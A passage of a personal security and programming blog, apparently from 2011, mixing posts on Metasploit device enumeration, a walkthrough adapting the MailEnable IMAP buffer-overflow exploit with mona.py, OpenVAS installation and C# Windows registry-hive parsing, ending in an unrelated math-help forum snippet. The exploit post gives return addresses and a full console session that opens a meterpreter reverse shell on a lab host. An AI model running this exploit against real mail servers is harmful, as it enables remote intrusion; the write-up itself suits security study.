WAN Miniport (PPTP)                                              6.1.7600.16385  Net             Microsoft
WAN Miniport (SSTP)                                              6.1.7600.16385  Net             Microsoft
Remote Desktop Device Redirector Bus                             6.1.7600.16385  System          Microsoft
Terminal Server Keyboard Driver                                  6.1.7601.17514  System          (Standard system devices)
Terminal Server Mouse Driver                                     6.1.7601.17514  System          (Standard system devices)
Plug and Play Software Device Enumerator                         6.1.7601.17514  System          (Standard system devices)
UMBus Root Bus Enumerator                                        6.1.7601.17514  System          Microsoft
Microsoft Virtual Drive Enumerator Driver                        6.1.7601.17514  System          (Standard system devices)
Volume Manager                                                   6.1.7601.17514  System          (Standard system devices)
Disk drive                                                       6.1.7600.16385  DiskDrive       (Standard disk drives)                VMware, VMware Virtual S SCSI Disk Device
Generic volume                                                   6.1.7601.17514  Volume          Microsoft
Generic volume shadow copy                                       6.1.7600.16385  VolumeSnapshot  Microsoft
Microsoft Streaming Service Proxy                                6.1.7600.16385  MEDIA           Microsoft
Microsoft Streaming Clock Proxy                                  6.1.7600.16385  MEDIA           Microsoft
Microsoft Streaming Tee/Sink-to-Sink Converter                   6.1.7600.16385  MEDIA           Microsoft
Microsoft Streaming Quality Manager Proxy                        6.1.7600.16385  MEDIA           Microsoft
RAS Async Adapter                                                6.1.7600.16385  Net             Microsoft
Microsoft Trusted Audio Drivers                                  6.1.7600.16385  MEDIA           Microsoft
USB Root Hub                                                     6.1.7601.17586  USB             (Standard USB Host Controller)
Generic USB Hub                                                  6.1.7601.17586  USB             (Generic USB Hub)                     Port_#0002.Hub_#0001
USB Composite Device                                             6.1.7601.17586  USB             (Standard USB Host Controller)        Port_#0001.Hub_#0001
USB Input Device                                                 6.1.7601.17514  HIDClass        (Standard system devices)             0002.0000.0000.001.000.000.000.000.000

[*] Results saved in: /root/.msf4/loot/20110823151419_default_192.168.1.146_host.hardware_345918.txt
[*] Post module execution completed
msf  post(enum_devices) >

I am also working on a post module which enumerates popular software keys (office and windows keys atm).

## Wednesday, July 6, 2011

### Breaking MailEnable 2.34: A lesson in security featuring Metasploit, Immunity Debugger, and mona.py

Not that this is any major feat, but I thought it would do as a nice primer to investigating bugs Immunity Debugger and mona.py and exploiting them with Metasploit.

I was researching a vulnerability today, Metasploit has a module called mailenable_login with a target of MailEnable 2.35. Doing some research into the exploit, it is a buffer overflow, and not just 2.35 is vulnerable to this bug. From the CVE:

Stack-based buffer overflow in the IMAP service for MailEnable Professional and Enterprise Edition 2.0 through 2.35, Professional Edition 1.6 through 1.84, and Enterprise Edition 1.1 through 1.41 allows remote attackers to execute arbitrary code via a pre-authentication command followed by a crafted parameter and a long string, as addressed by the ME-10025 hotfix.

This is a good thing, because after searching for about an hour, I hadn't found an installer for the 2.35 version. The official historical archive for the MailEnable releases has that release conspicuously missing. However, other reportedly vulnerable releases, such as 2.34 was available. I happily obliged and grabbed 2.34, in hopes I would be able to get it to work without too much effort.

Well, short story short, the target in the module didn't "just work" as I had hoped. But it did crash the server, which was interesting. I decided to look further. I am not very seasoned at this type of debugging, so the guys in #corelan on irc.freenode.net were my first stop for getting pushed in the right direction.

Up until now, I had been using WinDbg, a debugger offered by Microsft with their Driver development kit. corelanc0der offered some better advice, grab a copy of Immunity Debugger and mona.py. After installing Immunity Debugger, I dropped mona.py in the PyCommands folder in the Immunity Debugger folder in Program Files. This enables me to utilize the "swiss army knife" the corelan team developped to speed up exploit development. I don't fully understand it, but already can see it is quite powerful. The first thing I had to do was crash the service, in this case MEIMAPS.exe. I attached Immunity Debugger to the currently running MEIMAPS.exe (it is run as a service automagically at startup). I know how to crash it, just run the 2.35 target against, and bam.

Notice how EIP is the same address as the return address in the original 2.35 target...

So, that obviously doesn't work, we don't like access violations. Maybe mona.py can show us some better places to exploit this application. But in order to do this, I need to make a few changes to the original metasploit module. Open it up in your favorite text editor, I did it in vim, and change your sploit. Comment out the original and add your own.

Check out this rather old article with details on pattern_create(). This gives mona.py some data to work with that is comprehensible, easy to traverse, and gather information about. A really cool feature of mona.py is that it will generate a template for your exploit with offsets and return pointers used to execute arbitrary commands. All you do is fill in the blanks. Let's see what mona.py has to offer:

If mona.py finds somethings it thinks is useful, you will get a small popup with predefined templates in a drop down box. I chose the remote client (tcp) template. Another series of popup dialogs will popup, one meaningful, and another not so meangingful. The former is the remote port to listen on. The latter is the Exploit-db id. Ironically, due to a bug in Immunity debugger, your answer the in remote port box will carry over into the next box, the exploit db id box. You do not want this. Be sure to clear it out if you don't want to include the exploit-db id.

Anyways, enough with silly dialogs. When everything is said and done, inside C:\Program Files\Immunity Inc\Immunity Debugger\ will lie an exploit.rb file. This is your exploit module shell for Metasploit. Be sure to check it over, it may not be optimal, even if it does *work*.

Hmm, looks like it'll work. But what the fudge is CLBCATQ.DLL? We want something a little more standard than this. Luckily, mona.py has some tools specifically for this.
We know we want a jmp/push esp. push was denoted in the generated module. It works, but let's try a jmp first, it is what the first target uses, so it would be a little bit more straightforward and consistent.

Cool! We found 2 pointers in a pretty freaking stable place, MSVCP60.DLL. Let's take a closer look.

Cool, so we have one jmp and one push. Remember our original exploit.rb that mona.py generated for us? The return address that it defines in CLBCATQ.DLL (0x76ffcb51) can be replaced with either of these addresses (0x76095d68 is the push and 0x760a9d6e is the jmp) in MSVCP60.DLL. The two addresses are printed out to the screen right above the red text. The two lines each begin with an address and either of these will do. We need to dig into the metasploit framework now. We need to add the target, which should really work for more than just this 2.34 release. The CVE lists a few in the 2.3x range. I think it should hit all of them, but am willing to eat my words.

Your targets in the mailenable_login.rb module should look similar to this, depending on the return address you chose from MSVCP60.DLL. Let's test it. You need to uncomment out the sploit lines from before and remove your line you inserted with pattern_create(1000).

root@bperry-laptop:/home/bperry# msfconsole -L                |                    |      _) | __ __ \   _ \ __|  _ |  __| __ \  |  _ \  | __| |   |   |  __/ |   (   |\__ \ |   | | (   | | |_|  _|  _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__|                              _|       =[ metasploit v3.8.0-dev [core:3.8 api:1.0]+ -- --=[ 710 exploits - 359 auxiliary - 57 post+ -- --=[ 225 payloads - 27 encoders - 8 nops       =[ svn r13108 updated today (2011.07.06)msf > use exploit/windows/imap/mailenable_login msf exploit(mailenable_login) > set RHOST 192.168.1.105RHOST => 192.168.1.105msf exploit(mailenable_login) > show targetsExploit targets:   Id  Name   --  ----   0   MailEnable 2.35 Pro   1   MailEnable 2.34 Promsf exploit(mailenable_login) > set TARGET 1TARGET => 1msf exploit(mailenable_login) > set PAYLOAD windows/meterpreter/reverse_tcpPAYLOAD => windows/meterpreter/reverse_tcpmsf exploit(mailenable_login) > set LHOST 192.168.1.71LHOST => 192.168.1.71msf exploit(mailenable_login) > show optionsModule options (exploit/windows/imap/mailenable_login):   Name   Current Setting  Required  Description   ----   ---------------  --------  -----------   RHOST  192.168.1.105    yes       The target address   RPORT  143              yes       The target portPayload options (windows/meterpreter/reverse_tcp):   Name      Current Setting  Required  Description   ----      ---------------  --------  -----------   EXITFUNC  thread           yes       Exit technique: seh, thread, process, none   LHOST     192.168.1.71     yes       The listen address   LPORT     4444             yes       The listen portExploit target:   Id  Name   --  ----   1   MailEnable 2.34 Promsf exploit(mailenable_login) > exploit[*] Started reverse handler on 192.168.1.71:4444 [*] Trying target MailEnable 2.34 Pro...[*] Sending stage (752128 bytes) to 192.168.1.105[*] Meterpreter session 1 opened (192.168.1.71:4444 -> 192.168.1.105:1037) at 2011-07-06 21:27:55 -0500meterpreter > Success![-] Unknown command: Success!.meterpreter > exit[*] Shutting down Meterpreter...[*] Meterpreter session 1 closed.  Reason: User exitmsf exploit(mailenable_login) > exitroot@bperry-laptop:/home/bperry#

Whee! I have submitted the patch to the metasploit guys here, it should be in trunk shortly. If you would like to play with this, you may download the relevant binaries from MailEnable themselves. Just not 2.35! Har har har...

## Tuesday, June 28, 2011

### This is cool.

Disruptor - Concurrent Programming Framework

They claim a lot, would like to test.

## Saturday, May 21, 2011

### New OpenDiagnostics Live CD Release :: 394 MB

Removed wine, stupid idea to put on there.

Updated ClamAV to 0.97 and virus defs are good as of today.
Updated metasploit to latest SVN head
Updated kernel to latest and lucid is fully updated.

I have been doing a lot of research into AutoIt scripting lately, as it would help tremendously at the repair shop. I have written up a few scripts to automate a few common chores such as msconfig'ing, fixing up performance options, and am in the process of writing a driver backup and general backup script. I hope to include these with some sort of easy way to use them on the root of the CD. The scripts will be compiled to executables, but the scripts will of course be made available, possibly in a google code repo. If you have any suggestions on what type of scripts you would like, or concerns about this possible change, feel free to express them in the comments

## Wednesday, April 27, 2011

### Fun finding things

I found a neat way to use find today. If you want to do an inverse search (think grep -v, but in find), simply use '!'. For Example:

find . '!' -name '*.zip'

Find all files that don't end in .zip.

## Tuesday, February 8, 2011

### OpenVAS 4 has landed in UNSTABLE in OBS

deb http://download.opensuse.org/repositories/security:/OpenVAS:/UNSTABLE:/v4/xUbuntu_10.10/ ./

Then you need to get the key and add it to apt:

wget http://download.opensuse.org/repositories/security:/OpenVAS:/UNSTABLE:/v4/xUbuntu_10.10/Release.keyapt-key add Release.keyrm Release.key

Then just
apt-get update

## Tuesday, February 1, 2011

### Non-trivial key names

It seems that you run into instances where someone working with the registry doesn't know quite how to use it. Well, let's start with some code first.

Say we have a regex to carve out the data we want:

Regex nk = new Regex(@"nk[\x2c|\x20]\x00.{7}\x01.{117}");

Chances are this data chunk will have a lot of junk at the end. Most key names as far as I can tell under < 65 characters long, but there are instances where a name legitimately runs longer than that. Here is one example:

It's not a root key!Offset to Parent: 4145008Number of Subkeys: 0Offset to Subkey LF Blocks: 1061109567Number of values: 1Offset to value list: 4144959Offset to security key: 7421704Offset to classname: 1061109567Offset to ?trash?: 1634757999Name Length: 58 bytesClassname Length: 0Partial Name: C:|WINDOWS|Microsoft.NET|Framework|v3.5|AddInProcess3Name: C:|WINDOWS|Microsoft.NET|Framework|v3.5|AddInProcess3It's not a root key!Offset to Parent: 4144959Number of Subkeys: 0Offset to Subkey LF Blocks: 1061109567Number of values: 1Offset to value list: 4144992Offset to security key: 1061109592Offset to classname: 4156278Offset to ?trash?: 1231316033Name Length: 20590 bytesClassname Length: 28530Partial Name: cess32,version="3.5.0.0",publicKeyToken="b77a5c561934

The first node key name has a length of 58 bytes. Pretty normal. But the second node key has a name 20590 bytes long. It also has to do with the .NET Framework. (*sigh* Microsoft...)

I can't carve out 20000 byte long chunks for each key node to satisfy the needs of names that shouldn't really be names, that would be crazy. It just so happened that this name was throwing an IndexOutOfrangeException. I decided I could use this to my advantage.

I could pick a sane number for the size of the regex that would get 90% of my key names and simply work around the longer names (in the short term at any rate).

My code ended up looking like this:

else if (i == (int)0x0048) //name length{ byte[] lengthBytes = new byte[dword]; //should only be a word length. not sure why I need to make this dword for (int k = 0;k<word;k++) { lengthBytes[k] = bs[i+k]; } nameLength = BitConverter.ToInt32(lengthBytes, 0); Console.WriteLine(String.Format("Name Length: {0} bytes", nameLength.ToString())); i += word;}... //other else if's hereelse if (i == (int)0x004C) //key name{ int length = nameLength; char[] blah = new char[length]; for (int k = 0; k < length;k++) { try { blah[k] = (char)bs[i+k]; } catch(Exception ex) { //sometimes you get stupid long names (someone not know inghow the registry works) //when this happens, we will just read what we can and return what we get. Doesn't have to //be perfect since we can load the full name at a later time when the user clicks the list item //for most names, this won't be needed. if (ex.GetType() == typeof(IndexOutOfRangeException)) { Console.WriteLine("Partial Name: " + new string(blah)); i += bs.Length - i; k = length; continue; } else throw ex; } } Console.WriteLine("Name: " + new string(blah)); i += bs.Length - i; //we are done.}

I figure for a list of values, you won't be showing more than 100 or so characters until you pick the specific key out of the list and it loads the full details. At that point you can read the entire name and show it to the full user.

## Monday, January 31, 2011

### Windows Registry with Mono, pt2 - Node Keys

I have had a bit more time on my hands to work on being able to read the registry without using advapi32.dll. Today I was able to hack up a small (incomplete) class for node keys that builds the framework for breaking apart and manipulating the data.

To start off, from this file, we can get the offsets we need to read to get the right data.

the nk-Record=============Offset Size Contents0x0000 Word ID: ASCII-"nk" = 0x6B6E0x0002 Word for the root-key: 0x2C, otherwise 0x200x0004 Q-Word write-date/time in windows nt notation0x0010 D-Word Offset of Owner/Parent key0x0014 D-Word number of sub-Keys0x001C D-Word Offset of the sub-key lf-Records0x0024 D-Word number of values0x0028 D-Word Offset of the Value-List0x002C D-Word Offset of the sk-Record0x0030 D-Word Offset of the Class-Name0x0044 D-Word Unused (data-trash)0x0048 Word name-length0x004A Word class-name length0x004C ???? key-name

It's pretty straight forward. In every fragment, we can go to specific offsets and get the data we want. This ends up looking like this:

public NodeKey (string data){ ASCIIEncoding enc = new ASCIIEncoding(); byte[] bs = enc.GetBytes(data); //the lengths we will be working with. int word = 2; int dword = word+word; //double word int qword = dword+dword; //quad word for (int i = 0; i < bs.Length;) { //making sure it is nk if (i == (int)0x0000) //header { if ((int)bs[0] == 110) { if ((int)bs[1] == 107) { i += word; continue; } else { throw new Exception("This may be a damaged nk block. If so, fix the header and try again."); } } else { throw new Exception("Not a nk"); } } else if (i == (int)0x0002) //is it a root key? { if (bs[i] == (byte)0x2C) { //It's a root key! Console.WriteLine("It's a root key!"); } else { //it's not a root key! Console.WriteLine("It's not a root key!"); } i += word; //move up 2 elements continue; } else if (i == (int)0x0004) //timestamp in long smb form blegh { byte[] blah = new byte[qword]; for (int k = 0;k<qword;k++) { blah[k] = bs[i+k]; } i+= qword; } else if (i == (int)0x0010) //offset to parent { i += dword; } else if (i == (int)0x0014) //number of subkeys { i += dword; } else if (i == (int)0x001C) //offset to subkey lf blocks { i += dword; } else if (i == (int)0x0024) //number of values { i += dword; } else if (i == (int)0x0028) //offset of value list { i += dword; } else if (i == (int)0x002C) //offset to the sk block { i += dword; } else if (i == (int)0x0030) //offset to classname { i += dword; } else if (i == (int)0x0044) //this is trash supposedly { i += dword; } else if (i == (int)0x0048) //name length { i += word; } else if (i == (int)0x004A) //class name length { i += word; } else if (i == (int)0x004C) //key name { int length = bs.Length - i; char[] blah = new char[length]; for (int k = 0; k < length;k++) { blah[k] = (char)bs[i+k]; } Console.WriteLine(blah); i += length; //we are done. } else i+= word; //debugging purposes }}

If you notice, however, my code is not complete. I am starting with the most useful stuff first and moving on that way. A more complete class will keep the key name length in a local variable and use that instead of bs.Length when reading the key name later. With the current implementation, I read in too many bytes and grab some extra key headers :-/. You could create properties that are privately set and publicly get'able and set the properties to their respective values, to make it truly object oriented.

Another thing to point out is i is being incremented by the length read each time. It isn't arbitrary. This way next go around we are at the offset we need to be at.

One thing I look forward to implementing is lazy loading of parents and children. If you would like to test this, class, you can see my previous post on initially reading and deciphering the windows registry in C#. Just use this in your for loop instead:

foreach (Match mx in nk.Matches (d)) { all++; NodeKey key = new NodeKey(mx.Value);}

## Wednesday, January 5, 2011

### Analyzing the Windows NT registry without advapi32.dll using Mono (PoC)

I have been doing some challenges for a contest and one requires analyzing a set of Windows NT registry hives. Regedit really sucks (though it does run in wine). I decided it would be more fun to write a small library that can read the registry hives without relying on p/invoke and advapi32.dll on Windows. I have some small code that carves out the data I need, though I am running into a problem on the software hive supplied. Maybe someone can point me in the right direction.

A lot of my information came from this text file which I found, and have updated some with information that I found missing.

As far as I can tell, there are 6 data types to be carved out of the hives. regf file headers, hbin blocks, node keys, value keys, and lf/h (lh on XP) blocks. There are also security keys (with a sk header) within node keys. The following regex's should carve out the data from the registry files so you may parse out the information you need.

Regex regf = new Regex (@"^regf.{508}");Regex nk = new Regex (@"nk[\x2c|\x20]\x00.{7}\x01.{64}");Regex vk = new Regex (@"vk.{3}\x00\x00[\x00|\x80].{64}");Regex hbin = new Regex (@"hbin.{4}\x00\x10\x00\x00.{8}");Regex lf = new Regex (@".{4}l[f|h][0-65535].{8}"); //lf or lh on winxp

But in order to search the hive, we need to read it in. This isn't very efficient, and I am aware of this. It works.

using (FileStream fs = File.OpenRead (path)) { var data = new byte[checked((int)fs.Length)]; int i = 0; int read;      using (var ms = new MemoryStream (checked((int)fs.Length))) {        while ((read = fs.Read (data, 0, data.Length)) > 0) {   ms.Write (data, 0, read);   i += read;  }        byte[] hive = ms.ToArray ();  char[] cList = new char[fs.Length];        i = 0;  foreach (byte b in hive)   cList[i++] = (char)b;               string d = new string (cList);         int all = 0;        foreach (Match mx in lf.Matches (d)) { //you can change out the regex you want here.   byte[] bb = new byte[mx.Value.Length];   char[] cb = new char[mx.Value.Length];          for (int k = 0; k < mx.Value.Length; k++) {    bb[k] = (byte)mx.Value[k];    cb[k] = (char)bb[k];       }      all++;      //Console.WriteLine (new string (cb));  }    Console.WriteLine (all.ToString ());  all = 0; }}

Basically, we read in the hive into a MemoryStream, convert the stream into a byte array, move that into a char array from which we create a string to search for the regexs in. Yes, we store 4 copies of the registry in memory. I am sure there are better ways to do this.

Then we loop through each match and count them. Of course we are working with binary streams, so if you choose to write the data carved out to the console, it will look like random data (to the untrained eye at least).

Running through all the hives supplied, I get this output:

/home/bperry/SAMnk[\x2c|\x20]\x00.{7}\x01.{64}47.{4}l[f|h][0-65535].{8}0vk.{3}\x00\x00[\x00|\x80].{64}36hbin.{4}\x00\x10\x00\x00.{8}6^regf.{508}1/home/bperry/softwarenk[\x2c|\x20]\x00.{7}\x01.{64}43147.{4}l[f|h][0-65535].{8}6vk.{3}\x00\x00[\x00|\x80].{64}54708hbin.{4}\x00\x10\x00\x00.{8}2917^regf.{508}0/home/bperry/systemnk[\x2c|\x20]\x00.{7}\x01.{64}11189.{4}l[f|h][0-65535].{8}4vk.{3}\x00\x00[\x00|\x80].{64}21926hbin.{4}\x00\x10\x00\x00.{8}1121^regf.{508}1/home/bperry/defaultnk[\x2c|\x20]\x00.{7}\x01.{64}554.{4}l[f|h][0-65535].{8}0vk.{3}\x00\x00[\x00|\x80].{64}1014hbin.{4}\x00\x10\x00\x00.{8}58^regf.{508}1/home/bperry/SECURITYnk[\x2c|\x20]\x00.{7}\x01.{64}220.{4}l[f|h][0-65535].{8}0vk.{3}\x00\x00[\x00|\x80].{64}147hbin.{4}\x00\x10\x00\x00.{8}10^regf.{508}1

The number printed after the regex is the number of matches found. The data is fully carved out, so the only thing left is to break it apart to get the relevant data. If you will notice however, software reports 0 regf file headers, and I cannot figure out why. Any thoughts?


text:
## nudeoua one year ago Could someone help ? Step by step Solve for x: the quantity of x plus 4 over 3 = 2 x = −2 x = 2 x = 2 over 3 x = negative 10 over 3

$\large\rm \frac{x+4}{3}=2$So we have this big mess of stuff going on with our x :) To isolate the x, we would like to "undo" all of the stuff happening to x. Notice that we have division by 3, that's how we can interpret the fraction bar. How do we undo division?